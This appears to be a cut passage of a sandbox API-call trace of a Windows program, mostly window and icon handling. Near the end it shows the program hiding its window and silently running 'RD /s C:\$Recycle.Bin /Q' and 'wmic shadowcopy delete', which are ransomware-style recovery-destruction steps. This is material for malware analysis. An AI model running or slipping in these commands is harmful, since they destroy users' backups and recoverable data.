(lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x47, wParam=0x0, lParam=0x18ee74) returned 0x0 [0068.595] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x5, wParam=0x0, lParam=0x14) returned 0x0 [0068.595] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x46, wParam=0x0, lParam=0x18e39c) returned 0x0 [0068.595] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x83, wParam=0x1, lParam=0x18e374) returned 0x0 [0068.596] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x47, wParam=0x0, lParam=0x18e39c) returned 0x0 [0068.596] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x5, wParam=0x0, lParam=0x25) returned 0x0 [0068.597] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x46, wParam=0x0, lParam=0x18d8dc) returned 0x0 [0068.597] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x83, wParam=0x1, lParam=0x18d8b4) returned 0x0 [0068.598] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x47, wParam=0x0, lParam=0x18d8dc) returned 0x0 [0068.599] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x3, wParam=0x0, lParam=0x4a0092) returned 0x0 [0068.599] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831bf8 [0068.599] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x30, wParam=0x120a09b9, lParam=0x0) returned 0x0 [0068.599] ShowWindow (hWnd=0x6011c, nCmdShow=5) returned 0 [0068.599] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0068.599] GetClientRect (in: hWnd=0x30268, lpRect=0x18f888 | out: lpRect=0x18f888) returned 1 [0068.600] MapWindowPoints (in: hWndFrom=0x30268, hWndTo=0x0, lpPoints=0x18f888, cPoints=0x2 | out: lpPoints=0x18f888) returned 10158213 [0068.600] EqualRect (lprc1=0x18f888, lprc2=0x18f868) returned 1 [0068.600] SetEvent (hEvent=0xb4) returned 1 [0068.600] SendMessageA (hWnd=0x30268, Msg=0x80, wParam=0x1, lParam=0x2800af) returned 0x0 [0068.600] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x80, wParam=0x1, lParam=0x2800af) returned 0x0 [0068.643] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xd0239 [0068.647] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f744 | out: ppstm=0x18f744*=0x144f460) returned 0x0 [0068.648] GetSystemMetrics (nIndex=49) returned 16 [0068.648] GetSystemMetrics (nIndex=50) returned 16 [0068.648] IStream:RemoteSeek (in: This=0x144f460, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.648] ISequentialStream:RemoteRead (in: This=0x144f460, pv=0x18f6f4, cb=0x6, pcbRead=0x0 | out: pv=0x18f6f4*=0x0, pcbRead=0x0) returned 0x0 [0068.648] ISequentialStream:RemoteRead (in: This=0x144f460, pv=0x18f6cc, cb=0x10, pcbRead=0x0 | out: pv=0x18f6cc*=0x10, pcbRead=0x0) returned 0x0 [0068.648] IStream:RemoteSeek (in: This=0x144f460, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.648] GlobalLock (hMem=0x396000c) returned 0x1472348 [0068.648] ISequentialStream:RemoteRead (in: This=0x144f460, pv=0x1472348, cb=0x28, pcbRead=0x0 | out: pv=0x1472348*=0x28, pcbRead=0x0) returned 0x0 [0068.648] ISequentialStream:RemoteRead (in: This=0x144f460, pv=0x1472370, cb=0x540, pcbRead=0x0 | out: pv=0x1472370*=0x0, pcbRead=0x0) returned 0x0 [0068.648] GlobalUnlock (hMem=0x396000c) returned 0 [0068.648] GlobalLock (hMem=0x396000c) returned 0x1472348 [0068.648] GlobalSize (hMem=0x396000c) returned 0x568 [0068.648] GetDC (hWnd=0x0) returned 0x4e01027b [0068.648] CreateCompatibleBitmap (hdc=0x4e01027b, cx=32, cy=32) returned 0x370509b6 [0068.648] SelectObject (hdc=0xd70109a6, h=0x370509b6) returned 0x185000f [0068.648] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x1472770, lpbmi=0x1472348, iUsage=0x0, rop=0xcc0020) returned 16 [0068.649] GetObjectA (in: h=0x370509b6, c=24, pv=0x18f664 | out: pv=0x18f664) returned 24 [0068.650] GlobalLock (hMem=0x396001c) returned 0x14728c0 [0068.650] GetBitmapBits (in: hbit=0x370509b6, cb=4096, lpvBits=0x14728c0 | out: lpvBits=0x14728c0) returned 4096 [0068.650] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x370509b6 [0068.650] DeleteObject (ho=0x370509b6) returned 1 [0068.650] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x380509b6 [0068.650] SelectObject (hdc=0xd70109a6, h=0x380509b6) returned 0x185000f [0068.650] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x1472870, lpbmi=0x1472348, iUsage=0x0, rop=0xcc0020) returned 16 [0068.650] GetObjectA (in: h=0x380509b6, c=24, pv=0x18f64c | out: pv=0x18f64c) returned 24 [0068.650] GlobalLock (hMem=0x3960024) returned 0x144ba70 [0068.650] GetBitmapBits (in: hbit=0x380509b6, cb=128, lpvBits=0x144ba70 | out: lpvBits=0x144ba70) returned 128 [0068.650] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x144ba70, lpbXORbits=0x14728c0) returned 0x30245 [0068.650] GlobalUnlock (hMem=0x396001c) returned 0 [0068.651] GlobalUnlock (hMem=0x3960024) returned 0 [0068.651] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x380509b6 [0068.651] DeleteObject (ho=0x380509b6) returned 1 [0068.651] ReleaseDC (hWnd=0x0, hDC=0x4e01027b) returned 1 [0068.651] GlobalUnlock (hMem=0x396000c) returned 0 [0068.651] SendMessageA (hWnd=0x30268, Msg=0x80, wParam=0x0, lParam=0x30245) returned 0x0 [0068.651] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x80, wParam=0x0, lParam=0x30245) returned 0x0 [0068.651] IUnknown:Release (This=0x144f460) returned 0x0 [0068.651] MonitorFromWindow (hwnd=0x50160, dwFlags=0x2) returned 0x10001 [0068.651] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18f7d4 | out: lpmi=0x18f7d4) returned 1 [0068.651] GetWindowLongA (hWnd=0x50160, nIndex=-16) returned 1409351809 [0068.651] GetWindowLongA (hWnd=0x50160, nIndex=-20) returned 516 [0068.651] SelectObject (hdc=0xd70109a6, h=0x120a09b9) returned 0x18a002e [0068.651] GetTextMetricsA (in: hdc=0xd70109a6, lptm=0x18f6a0 | out: lptm=0x18f6a0) returned 1 [0068.651] SelectObject (hdc=0xd70109a6, h=0x18a002e) returned 0x120a09b9 [0068.652] GetParent (hWnd=0x50160) returned 0x30268 [0068.652] GetWindowRect (in: hWnd=0x50160, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0068.652] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f7d4, cPoints=0x2 | out: lpPoints=0x18f7d4) returned -10092677 [0068.652] MoveWindow (hWnd=0x50160, X=144, Y=32, nWidth=41, nHeight=17, bRepaint=1) returned 1 [0068.652] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x46, wParam=0x0, lParam=0x18f770) returned 0x0 [0068.652] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x83, wParam=0x1, lParam=0x18f748) returned 0x0 [0068.653] GetParent (hWnd=0x50160) returned 0x30268 [0068.653] GetWindowRect (in: hWnd=0x50160, lpRect=0x18f4a4 | out: lpRect=0x18f4a4) returned 1 [0068.653] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f4a4, cPoints=0x2 | out: lpPoints=0x18f4a4) returned -10092677 [0068.653] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x47, wParam=0x0, lParam=0x18f770) returned 0x0 [0068.653] GetWindowLongA (hWnd=0x50160, nIndex=-16) returned 1409351809 [0068.653] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x5, wParam=0x0, lParam=0xd0025) returned 0x0 [0068.653] GetParent (hWnd=0x50160) returned 0x30268 [0068.653] GetWindowRect (in: hWnd=0x50160, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0068.653] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f7d4, cPoints=0x2 | out: lpPoints=0x18f7d4) returned -10092677 [0068.654] MonitorFromWindow (hwnd=0x5011e, dwFlags=0x2) returned 0x10001 [0068.654] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18f820 | out: lpmi=0x18f820) returned 1 [0068.654] GetWindowLongA (hWnd=0x5011e, nIndex=-16) returned 1419837443 [0068.654] SelectObject (hdc=0xd70109a6, h=0x120a09b9) returned 0x18a002e [0068.654] GetTextMetricsA (in: hdc=0xd70109a6, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0068.654] SelectObject (hdc=0xd70109a6, h=0x18a002e) returned 0x120a09b9 [0068.654] GetParent (hWnd=0x5011e) returned 0x30268 [0068.654] GetWindowRect (in: hWnd=0x5011e, lpRect=0x18f820 | out: lpRect=0x18f820) returned 1 [0068.654] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f820, cPoints=0x2 | out: lpPoints=0x18f820) returned -10092677 [0068.654] MoveWindow (hWnd=0x5011e, X=144, Y=48, nWidth=41, nHeight=20, bRepaint=1) returned 1 [0068.654] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18f7bc) returned 0x0 [0068.654] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18f794) returned 0x0 [0068.655] GetParent (hWnd=0x5011e) returned 0x30268 [0068.655] GetWindowRect (in: hWnd=0x5011e, lpRect=0x18f53c | out: lpRect=0x18f53c) returned 1 [0068.655] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f53c, cPoints=0x2 | out: lpPoints=0x18f53c) returned -10092677 [0068.655] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18f7bc) returned 0x0 [0068.655] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0xe0012) returned 0x0 [0068.655] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18ee34) returned 0x0 [0068.655] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18ee0c) returned 0x0 [0068.656] GetParent (hWnd=0x5011e) returned 0x30268 [0068.656] GetWindowRect (in: hWnd=0x5011e, lpRect=0x18ebb4 | out: lpRect=0x18ebb4) returned 1 [0068.656] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18ebb4, cPoints=0x2 | out: lpPoints=0x18ebb4) returned -10092677 [0068.656] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18ee34) returned 0x0 [0068.656] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0xd0012) returned 0x0 [0068.657] GetParent (hWnd=0x5011e) returned 0x30268 [0068.657] GetWindowRect (in: hWnd=0x5011e, lpRect=0x18f820 | out: lpRect=0x18f820) returned 1 [0068.657] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f820, cPoints=0x2 | out: lpPoints=0x18f820) returned -10092677 [0068.657] MonitorFromWindow (hwnd=0x6011c, dwFlags=0x2) returned 0x10001 [0068.657] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18f7d4 | out: lpmi=0x18f7d4) returned 1 [0068.657] GetWindowLongA (hWnd=0x6011c, nIndex=-16) returned 1409351809 [0068.657] GetWindowLongA (hWnd=0x6011c, nIndex=-20) returned 516 [0068.657] SelectObject (hdc=0xd70109a6, h=0x120a09b9) returned 0x18a002e [0068.657] GetTextMetricsA (in: hdc=0xd70109a6, lptm=0x18f6a0 | out: lptm=0x18f6a0) returned 1 [0068.657] SelectObject (hdc=0xd70109a6, h=0x18a002e) returned 0x120a09b9 [0068.657] GetParent (hWnd=0x6011c) returned 0x30268 [0068.657] GetWindowRect (in: hWnd=0x6011c, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0068.657] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f7d4, cPoints=0x2 | out: lpPoints=0x18f7d4) returned -10092677 [0068.657] MoveWindow (hWnd=0x6011c, X=144, Y=72, nWidth=41, nHeight=17, bRepaint=1) returned 1 [0068.657] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x46, wParam=0x0, lParam=0x18f770) returned 0x0 [0068.658] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x83, wParam=0x1, lParam=0x18f748) returned 0x0 [0068.658] GetParent (hWnd=0x6011c) returned 0x30268 [0068.658] GetWindowRect (in: hWnd=0x6011c, lpRect=0x18f4a4 | out: lpRect=0x18f4a4) returned 1 [0068.658] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f4a4, cPoints=0x2 | out: lpPoints=0x18f4a4) returned -10092677 [0068.658] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x47, wParam=0x0, lParam=0x18f770) returned 0x0 [0068.658] GetWindowLongA (hWnd=0x6011c, nIndex=-16) returned 1409351809 [0068.658] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x6011c, Msg=0x5, wParam=0x0, lParam=0xd0025) returned 0x0 [0068.659] GetParent (hWnd=0x6011c) returned 0x30268 [0068.659] GetWindowRect (in: hWnd=0x6011c, lpRect=0x18f7d4 | out: lpRect=0x18f7d4) returned 1 [0068.659] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18f7d4, cPoints=0x2 | out: lpPoints=0x18f7d4) returned -10092677 [0068.684] IsIconic (hWnd=0x30268) returned 0 [0068.684] IsZoomed (hWnd=0x30268) returned 0 [0068.684] GetClientRect (in: hWnd=0x30268, lpRect=0x18f87c | out: lpRect=0x18f87c) returned 1 [0068.684] GetWindow (hWnd=0x30268, uCmd=0x5) returned 0x50160 [0068.684] GetWindow (hWnd=0x50160, uCmd=0x2) returned 0x5011e [0068.684] GetParent (hWnd=0x50160) returned 0x30268 [0068.684] GetWindow (hWnd=0x5011e, uCmd=0x2) returned 0x7011a [0068.684] GetParent (hWnd=0x5011e) returned 0x30268 [0068.684] GetWindow (hWnd=0x7011a, uCmd=0x2) returned 0x6011c [0068.684] GetParent (hWnd=0x7011a) returned 0x30268 [0068.685] GetWindow (hWnd=0x6011c, uCmd=0x2) returned 0x0 [0068.685] GetParent (hWnd=0x6011c) returned 0x30268 [0068.685] IsWindowVisible (hWnd=0x30268) returned 0 [0068.685] ShowWindow (hWnd=0x30268, nCmdShow=0) returned 0 [0068.686] GetVersionExW (in: lpVersionInformation=0x18ee88*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18ee88*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.686] GetLastError () returned 0x0 [0068.686] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x18f744 | out: ppsaOut=0x18f744) returned 0x0 [0068.700] SafeArrayDestroyDescriptor (psa=0x143e400) returned 0x0 [0068.700] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed84, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0068.701] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0068.701] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0068.701] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0068.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x144f464, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0068.701] SysReAllocStringLen (in: pbstr=0x18ee14*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee14*="C:") returned 1 [0068.701] VarCat (in: pvarLeft=0x18ef08, pvarRight=0x18ef48, pvarResult=0x18ef38 | out: pvarResult=0x18ef38) returned 0x0 [0068.701] VarCat (in: pvarLeft=0x18ef38, pvarRight=0x18eef8, pvarResult=0x18ef28 | out: pvarResult=0x18ef28) returned 0x0 [0068.701] SysStringLen (param_1="/s C:\\$Recycle.Bin /Q") returned 0x15 [0068.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/s C:\\$Recycle.Bin /Q", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.701] SysStringLen (param_1="/s C:\\$Recycle.Bin /Q") returned 0x15 [0068.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/s C:\\$Recycle.Bin /Q", cchWideChar=22, lpMultiByteStr=0x1430114, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/s C:\\$Recycle.Bin /Q", lpUsedDefaultChar=0x0) returned 22 [0068.701] SysStringLen (param_1="RD.exe") returned 0x6 [0068.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RD.exe", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0068.702] SysStringLen (param_1="RD.exe") returned 0x6 [0068.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RD.exe", cchWideChar=7, lpMultiByteStr=0x143676c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RD.exe", lpUsedDefaultChar=0x0) returned 7 [0068.702] SysStringLen (param_1="open") returned 0x4 [0068.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.702] SysStringLen (param_1="open") returned 0x4 [0068.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x142fffc, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0068.702] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.702] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x759d0000 [0068.702] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.703] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteA") returned 0x75c17078 [0068.868] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="RD.exe", lpParameters="/s C:\\$Recycle.Bin /Q", lpDirectory=0x0, nShowCmd=0) returned 0x2 [0068.913] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0075.801] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0075.802] GetLastError () returned 0x2 [0075.803] SysStringLen (param_1="shadowcopy delete") returned 0x11 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shadowcopy delete", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.803] SysStringLen (param_1="shadowcopy delete") returned 0x11 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shadowcopy delete", cchWideChar=18, lpMultiByteStr=0x142fffc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shadowcopy delete", lpUsedDefaultChar=0x0) returned 18 [0075.803] SysStringLen (param_1="wmic.exe") returned 0x8 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmic.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0075.803] SysStringLen (param_1="wmic.exe") returned 0x8 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmic.exe", cchWideChar=9, lpMultiByteStr=0x143676c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmic.exe", lpUsedDefaultChar=0x0) returned 9 [0075.803] SysStringLen (param_1="open") returned 0x4 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.803] SysStringLen (param_1="open") returned 0x4 [0075.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="open", cchWideChar=5, lpMultiByteStr=0x1430114, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="open", lpUsedDefaultChar=0x0) returned 5 [0075.803] ShellExecuteA (hwnd=0x30268, lpOperation="open", lpFile="wmic.exe", lpParameters="shadowcopy delete", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0075.812] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0079.180] NtdllDefWindowProc_A (hWnd=0x170262, Msg=0x4e, wParam=0x0, lParam=0x18ec78) returned 0x0 [0079.180] GetLastError () returned 0x0 [0079.180] CreateBindCtx (in: reserved=0x0, ppbc=0x18ed58 | out: ppbc=0x18ed58*=0x143cb88) returned 0x0 [0079.181] MkParseDisplayName (in: pbc=0x143cb88, szUserName="winmgmts:", pchEaten=0x18ed54, ppmk=0x18ed5c | out: pchEaten=0x18ed54, ppmk=0x18ed5c*=0x146b760) returned 0x0 [0079.188] malloc (_Size=0x80) returned 0x39e048 [0079.188] DllGetClassObject (in: rclsid=0x1437410*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x18e970*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e028 | out: ppv=0x18e028*=0x0) returned 0x80004002 [0079.188] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377ba70 [0079.188] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.189] DllGetClassObject (in: rclsid=0x1437410*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x7666ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18eb30 | out: ppv=0x18eb30*=0x377ba70) returned 0x0 [0079.189] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377ba70 [0079.189] WinMGMTS:IClassFactory:CreateInstance (in: This=0x377ba70, pUnkOuter=0x0, riid=0x7666f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18eadc | out: ppvObject=0x18eadc*=0x377bab0) returned 0x0 [0079.189] GetVersionExW (in: lpVersionInformation=0x18e928*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2c, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x18e98c, szCSDVersion="塩盔\x08쀕") | out: lpVersionInformation=0x18e928*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0079.189] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x18e91c | out: phkResult=0x18e91c*=0x26c) returned 0x0 [0079.189] RegQueryValueExW (in: hKey=0x26c, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x18e924, lpcbData=0x18e920*=0x4 | out: lpType=0x0, lpData=0x18e924*=0x3, lpcbData=0x18e920*=0x4) returned 0x0 [0079.190] RegCloseKey (hKey=0x26c) returned 0x0 [0079.191] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x3770810 [0079.191] GetSystemDirectoryW (in: lpBuffer=0x3770810, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0079.191] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x77710000 [0079.192] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0079.192] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.193] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377ba88 [0079.193] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bab0 [0079.193] WinMGMTS:IUnknown:Release (This=0x377ba70) returned 0x0 [0079.193] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0079.193] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x377bab0, pbc=0x143cb88, pszDisplayName="winmgmts:", pchEaten=0x18ecf4, ppmkOut=0x18ecf8 | out: pchEaten=0x18ecf4*=0x9, ppmkOut=0x18ecf8*=0x146b760) returned 0x0 [0079.193] _wcsnicmp (_String1="winmgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0079.193] IBindCtx:GetObjectParam (in: This=0x143cb88, pszKey="WmiObject", ppunk=0x18ebfc | out: ppunk=0x18ebfc*=0x0) returned 0x80004005 [0079.193] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377c9a8 [0079.194] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0079.194] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x377bac0 [0079.194] CoCreateInstance (in: rclsid=0x744d42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x744d42a0*(Data1=0xdc12a687, 